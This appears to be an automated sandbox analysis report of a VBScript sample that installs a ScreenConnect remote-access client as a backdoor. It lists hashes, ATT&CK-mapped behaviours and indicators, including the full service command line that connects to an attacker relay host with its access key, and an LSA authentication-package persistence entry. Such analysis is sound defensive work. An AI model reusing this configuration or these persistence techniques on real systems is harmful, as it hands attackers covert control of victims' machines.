4f421ff46b2dabcff8719ba28deedd1740999f67923e021824aaaf1de6637754

Resubmissions

19/08/2026, 19:29

260819-x7c4rsgp9z8

19/08/2026, 19:24

19/08/2026, 19:21

19/08/2026, 16:07

19/08/2026, 15:57

19/08/2026, 05:45

Analysis

user interaction
yes
max time kernel
898s
max time network
898s
platform
windows10-ltsc_2021_x64
resource
win10ltsc2021-20260513-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20260513-enlocale:en-usos:windows10-ltsc_2021-x64systemwindows
submitted
19/08/2026, 05:45

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
confirmation.vbs
Size 1KB
Sample260819-gf2eaael4s
SHA256 4f421ff46b2dabcff8719ba28deedd1740999f67923e021824aaaf1de6637754
MD5 aadb9fa044d37c92eac13065e6897165
SHA1 9c60ae28ffc2e67c95e9663a886977fb2368ca59
SHA512 a4429fd65bd282fde76449bd5f226655231ed390e1571e3414d8b56cf1d2d6b54e0d83e9bcd1b5cb52c1e5a5f2d8f11283e95b0bf17561b929bfe429d81f46d3
TLSH
T15321202DE903BCA34D33A7A29927841AEE70E277112A50A93640CC442F353B07B892C3
MD5 SHA1 SHA512 TLSH

Score

8^/10

backdoor google defense_evasion discovery execution persistence phishing privilege_escalation ransomware rat revoked_codesign

Malware Config

Signatures

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
6	1752	wscript.exe
58	2204	wscript.exe

Sets service image path in registry 3 TTPs 1 IoCs

This determines the executable launched when a service starts. It can be used to establish persistence.

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\ScreenConnect Client (3f90ea06fd2dc28c)\ImagePath = "\"C:\\Program Files (x86)\\ScreenConnect Client (3f90ea06fd2dc28c)\\ScreenConnect.ClientService.exe\" \"?e=Access&y=Guest&h=relay.dayytwo.top&p=8041&s=65ea3209-3d04-465e-bc18-6cfef8b0508e&k=BgIAAACkAABSU0ExAAgAAAEAAQABS2jvowMmP33uHLqKHMQEsGkjBc25fYz27YReNk3F5sHLdvqhHBDHjFLBtKvl4eWFgXzoMyvqooLTvWKkfHgr3TmC6%2fvLVCjRY1Tvi9PAEyKQNNmRh8ErBKPHGiAW1ePWicefoB2VcrvxL5vZSJGAirLtEtDuK2YchMHaLWuF9Sy3KhCv%2ffFQm7kcp7ijpzMoOgsDokDadAf0AEQ8d%2b1nhMJ0Fn7OXmVEAncwG82JF%2fK6O3pxryodnd5P%2buGgqU3eRmdXoxe0Nc9CfuzS8Zig%2bpv5Dzsobc3taQYcZAXxHBZAowHlnT8SoBk%2fHGQ3PiXkBY8zLXtmO805Ck38bjmk&v=AQAAANCMnd8BFdERjHoAwE%2fCl%2bsBAAAAHClKB13M0k6X45mEUO9QjwAAAAACAAAAAAAQZgAAAAEAACAAAADRBhbbgE4Sj%2fpvel9JN1oxJD3M%2bjs1E6U8ljNZ389nvgAAAAAOgAAAAAIAACAAAABokHv8T%2finyyRhsx4hwweZTAwRbS%2foJ54gResmDOYky6AEAABf2su4LYvW3J9GczUNN7eGpJK8jiKOkAd0ECGamOpQpmRsLjagX0QhH6XndE2cTKeSTxRdmobX4JgoA5NQPv7Acy26qRCCUOm3AFxyp82uQMJJkfG%2fbiJNxf8pXEAMAhPuMA95vE7YNSaQMEg6S%2fbBOcJG7GJz2TSwqTRsyInUR4mmcPTLW5jtfC82rCrBR1eq2iStQoMLe8s2oBV0S7DqLZlAdRrPCKttjJsINRB8TWJzUXbzM06xGwn15fjc8yDribXc05jZK2n9%2beHiaV8uE9E%2f2rqXz2p1BIOLG8Oy8HoFfCcNZi%2bNDO83db%2f%2f7udMmYDvdaqrZ4GhTaWQUmv0QAW%2bwzjkXHVPXIHwwcVAsFa3cGfRGrhXH7eih6i89HqOkaPBCPrDGPBIwcOC8KDgxmRxPsaThIlxTNe3E0mK%2fV%2bjTCPsN1LCsdrAurJmQKhApt0%2fAfMb1lOMwMH8mmBDV36QDhak9QcQdUcBGr9rWcoW8bG5yDNrud30CnCYwp6I16tIYtuZg5eGMPlCGKFFRxDW3Nxks32dIMN2LzLM8ijai7x5vpWq4j1rGBdYxHzmOlyeBqUmMGHYaPIJekg6JXPgtmLy2NYWwZgZFDghwyQNxeJsTqKbtSQBwiJBY3D0W94KLL6Zyv0Npqzzx2FAlJoA379%2bPRLM%2bgW5eh5i%2be9%2fYzGZr%2fmLpU49ouZo3CBmDBNWsnE%2bsQV38g%2b7BHwrj2hAemXVWlb0Rx8WFECZ29s6cJPGEJqymh%2fQ9g8Hn5w4%2fNzkiaFCoQe3%2fLCrTpJ3%2bt%2bbWQSw9vltim8av%2bJyCumuAs4TTjrwPN6UGWyDCQizITmmL93p%2fdXbnoS4wMpDQTUOyu9lIuqhobfkIQeMjgCgC%2bFPqHGynh1MrEB2f3pMIEHwwNxmiUduMFSETyoXMhdxzlyE0JCZfdiNe7zOR7kIgmLOqXFyX2%2bayZIpSoAYDapTjSFfIV9WQXUoaJzK6fj9IzvebaIc5sB8gnOv%2fFPjWZfNAYGAYQAUlTPCi1jhJSDmAmDnxNXIc9udjqaHt7WYg14i%2bvOUi3PAzWo3RXmtvTzHajqa50JU0hENyyVwMnpC0%2bfMNKpRWFF6j3o1nVwC%2bUPS45OuJk3Y38oEFTVcZTcncyo61oYd5JzwXDFpP%2blnWzKiBfmaLE58BdPDKphLoznaKjSOXMlsLlur1bzydXuyj5M9MbJ7%2fJjgMAXhgDjYsgZY%2blT%2bskhLF6pls%2fIXK0cyEcgQUNV6tjdCKOgrVAyj0oIlhoYkpUR5B%2bH8flUIhjHCR%2bYnq99mgDeViaqPxihk34EDRo4CmY1bM%2b8zgii8nBgTxm6vJ%2bWOkcK0VyKfc3Efw9TJVai8ICzXgZidP5%2bEJjWHzU39mKHKC52fxpHSsEYD%2bEq5XDaPrMR8e1EP3FiFOOidUUaVhJVSqLcMx1xhgannIQ8xPwPmPUfIMz2izLOwCt6vWHGnuFfAikyEHb3xsC5W68fees5DnK4loTIbrhpbpe92PGD%2fZUyaeUMCvxU9vHce2ALLMb4PetN5%2bXsTkOp4gUTnHvDJMVEpFpFSyQLH7ZzsSZp5aEAAAADpfGEsS1QcAZHfN1UFyw%2fNAo7TlYdkIm%2bSgGBA%2foMJNXvX2pN1NrErIlP3x4nYrKiR%2fsOqwt9NWTnjIE%2b%2fJhjV\""	ScreenConnect.ClientService.exe

Signed with revoked ConnectWise certificate 2 IoCs

Binary is signed using a ConnectWise certificate revoked for key compromise.

revoked_codesign

resource	yara_rule
behavioral1/files/0x0007000000028575-106.dat	revoked_cert_connectwise
behavioral1/memory/5884-107-0x00000000044C0000-0x0000000004595000-memory.dmp	revoked_cert_connectwise

Checks computer location settings 2 TTPs 7 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2684263265-1628758615-802431902-1000\Control Panel\International\Geo\Nation	ScreenConnect.WindowsClient.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2684263265-1628758615-802431902-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2684263265-1628758615-802431902-1000\Control Panel\International\Geo\Nation	wscript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2684263265-1628758615-802431902-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2684263265-1628758615-802431902-1000\Control Panel\International\Geo\Nation	wscript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2684263265-1628758615-802431902-1000\Control Panel\International\Geo\Nation	ScreenConnect.WindowsClient.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2684263265-1628758615-802431902-1000\Control Panel\International\Geo\Nation	ScreenConnect.WindowsClient.exe

ConnectWise ScreenConnect remote access tool
ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.
backdoor rat
Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
persistence privilege_escalation

Component Object Model Hijacking
T1546.015

Executes dropped EXE 13 IoCs

pid	Process
5884	ScreenConnect.ClientService.exe
4028	ScreenConnect.WindowsClient.exe
2388	ScreenConnect.WindowsClient.exe
2572	ScreenConnect.WindowsClient.exe
3136	ScreenConnect.WindowsClient.exe
5868	ScreenConnect.WindowsBackstageShell.exe
4800	ScreenConnect.WindowsClient.exe
416	ScreenConnect.WindowsClient.exe
1704	ScreenConnect.WindowsClient.exe
996	ScreenConnect.WindowsClient.exe
5900	Password.exe
2536	ScreenConnect.WindowsClient.exe
5748	HideFromControlPanel.exe

Loads dropped DLL 34 IoCs

pid	Process
5500	MsiExec.exe
2224	rundll32.exe
2224	rundll32.exe
2224	rundll32.exe
2224	rundll32.exe
2224	rundll32.exe
2224	rundll32.exe
2224	rundll32.exe
2224	rundll32.exe
2224	rundll32.exe
5500	MsiExec.exe
2492	MsiExec.exe
5884	ScreenConnect.ClientService.exe
5884	ScreenConnect.ClientService.exe
5884	ScreenConnect.ClientService.exe
5884	ScreenConnect.ClientService.exe
5884	ScreenConnect.ClientService.exe
5884	ScreenConnect.ClientService.exe
5884	ScreenConnect.ClientService.exe
5884	ScreenConnect.ClientService.exe
5884	ScreenConnect.ClientService.exe
5884	ScreenConnect.ClientService.exe
1916	MsiExec.exe
1232	rundll32.exe
1232	rundll32.exe
1232	rundll32.exe
1232	rundll32.exe
1232	rundll32.exe
1232	rundll32.exe
1232	rundll32.exe
1232	rundll32.exe
1232	rundll32.exe
1916	MsiExec.exe
2220	LogonUI.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops desktop.ini file(s) 3 IoCs

description	ioc	Process
File opened for modification	C:\Users\Public\desktop.ini	firefox.exe
File opened for modification	C:\Users\Public\Documents\desktop.ini	firefox.exe
File opened for modification	C:\Users\Admin\Documents\desktop.ini	firefox.exe

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\D:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe

Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

Suspicious Windows Authentication Registry Modification.

persistence privilege_escalation

Authentication Package

T1547.002

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Lsa\Authentication Packages = 6d007300760031005f003000000043003a005c00500072006f006700720061006d002000460069006c00650073002000280078003800360029005c00530063007200650065006e0043006f006e006e00650063007400200043006c00690065006e00740020002800330066003900300065006100300036006600640032006400630032003800630029005c00530063007200650065006e0043006f006e006e006500630074002e00570069006e0064006f0077007300410075007400680065006e007400690063006100740069006f006e005000610063006b006100670065002e0064006c006c0000000000	msiexec.exe

Detected potential entity reuse from brand GOOGLE. 1 IoCs

phishing google

flow	pid	Process
141	1084	firefox.exe

Drops file in System32 directory 20 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\Explorer\iconcache_2560.db	ScreenConnect.WindowsBackstageShell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\Explorer\iconcache_sr.db	ScreenConnect.WindowsBackstageShell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\Explorer\iconcache_wide.db	ScreenConnect.WindowsBackstageShell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\1033\StructuredQuerySchema.bin	LogonUI.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (3f90ea06fd2dc28c)\3kksbhgu.tmp	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (3f90ea06fd2dc28c)\3kksbhgu.newcfg	ScreenConnect.ClientService.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\Explorer\iconcache_48.db	ScreenConnect.WindowsBackstageShell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\Explorer\iconcache_256.db	ScreenConnect.WindowsBackstageShell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\Explorer\iconcache_1920.db	ScreenConnect.WindowsBackstageShell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\Explorer\iconcache_wide_alternate.db	ScreenConnect.WindowsBackstageShell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\Explorer\iconcache_16.db	ScreenConnect.WindowsBackstageShell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\Explorer\iconcache_32.db	ScreenConnect.WindowsBackstageShell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\Explorer\iconcache_1280.db	ScreenConnect.WindowsBackstageShell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\ScreenConnect.WindowsClient.exe.log	ScreenConnect.WindowsClient.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\Explorer\iconcache_96.db	ScreenConnect.WindowsBackstageShell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\Explorer\iconcache_exif.db	ScreenConnect.WindowsBackstageShell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\Explorer\iconcache_custom_stream.db	ScreenConnect.WindowsBackstageShell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\Caches\cversions.3.db	LogonUI.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\Explorer\iconcache_idx.db	ScreenConnect.WindowsBackstageShell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\Explorer\iconcache_768.db	ScreenConnect.WindowsBackstageShell.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 4 IoCs

execution

Visual Basic

T1059.005

pid	Process
1752	wscript.exe
4688	WScript.exe
2204	wscript.exe
5256	WScript.exe

Drops file in Program Files directory 18 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\ScreenConnect Client (3f90ea06fd2dc28c)\ScreenConnect.ClientService.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (3f90ea06fd2dc28c)\ScreenConnect.WindowsFileManager.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (3f90ea06fd2dc28c)\ScreenConnect.WindowsBackstageShell.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (3f90ea06fd2dc28c)\ScreenConnect.WindowsCredentialProvider.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (3f90ea06fd2dc28c)\ScreenConnect.WindowsFileManager.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (3f90ea06fd2dc28c)\Client.en-US.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (3f90ea06fd2dc28c)\Client.Override.en-US.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (3f90ea06fd2dc28c)\Client.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (3f90ea06fd2dc28c)\ScreenConnect.Client.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (3f90ea06fd2dc28c)\ScreenConnect.Windows.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (3f90ea06fd2dc28c)\ScreenConnect.WindowsClient.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (3f90ea06fd2dc28c)\app.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (3f90ea06fd2dc28c)\ScreenConnect.Core.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (3f90ea06fd2dc28c)\ScreenConnect.WindowsAuthenticationPackage.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (3f90ea06fd2dc28c)\ScreenConnect.WindowsBackstageShell.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (3f90ea06fd2dc28c)\ScreenConnect.WindowsClient.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (3f90ea06fd2dc28c)\ScreenConnect.ClientService.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (3f90ea06fd2dc28c)\system.config	msiexec.exe

Drops file in Windows directory 33 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Installer\MSIBB8B.tmp-\ScreenConnect.InstallerActions.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSIBB8B.tmp-\Microsoft.Deployment.Compression.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSIBB8B.tmp-\Microsoft.Deployment.Compression.Cab.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSI460D.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI460D.tmp-\Microsoft.Deployment.WindowsInstaller.Package.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSI460D.tmp-\Microsoft.Deployment.Compression.Cab.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File created	C:\Windows\Installer\{CD15518E-648A-7F1A-AF7F-93E70D7CA2CD}\DefaultIcon	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIBB8B.tmp-\CustomAction.config	rundll32.exe
File created	C:\Windows\Installer\e5844b5.msi	msiexec.exe
File created	C:\Windows\Installer\e5844b9.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIC244.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI460D.tmp-\CustomAction.config	rundll32.exe
File created	C:\Windows\Installer\SourceHash{CD15518E-648A-7F1A-AF7F-93E70D7CA2CD}	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI5050.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\{CD15518E-648A-7F1A-AF7F-93E70D7CA2CD}\DefaultIcon	msiexec.exe
File opened for modification	C:\Windows\Installer\e5844b5.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI460D.tmp-\Microsoft.Deployment.WindowsInstaller.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSI460D.tmp-\Microsoft.Deployment.Compression.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSIBB8B.tmp-\Microsoft.Deployment.WindowsInstaller.Package.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSIBB8B.tmp-\ScreenConnect.Core.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSIBB8B.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIBB8B.tmp-\Microsoft.Deployment.WindowsInstaller.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSIC1C6.tmp	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI460D.tmp-\ScreenConnect.InstallerActions.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSI460D.tmp-\ScreenConnect.Core.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSI5225.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIBB8B.tmp-\ScreenConnect.Windows.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSI460D.tmp-\ScreenConnect.Windows.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSI4F64.tmp	msiexec.exe
File created	C:\Windows\Installer\wix{CD15518E-648A-7F1A-AF7F-93E70D7CA2CD}.SchedServiceConfig.rmi	MsiExec.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Password.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ScreenConnect.ClientService.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	HideFromControlPanel.exe

Checks processor information in registry 2 TTPs 28 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	ScreenConnect.WindowsClient.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	ScreenConnect.WindowsClient.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe

Modifies data under HKEY_USERS 63 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.ClientService.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\AccentColor = "4292311040"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationBlurBalance = "1"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.ClientService.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\27\52C64B7E	msiexec.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\28\52C64B7E	msiexec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.WindowsClient.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Control Panel\Mouse\MouseHoverTime = "750"	ScreenConnect.WindowsBackstageShell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.WindowsClient.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationGlassAttribute = "1"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.WindowsBackstageShell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\29\52C64B7E	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.ClientService.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.WindowsBackstageShell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.WindowsClient.exe
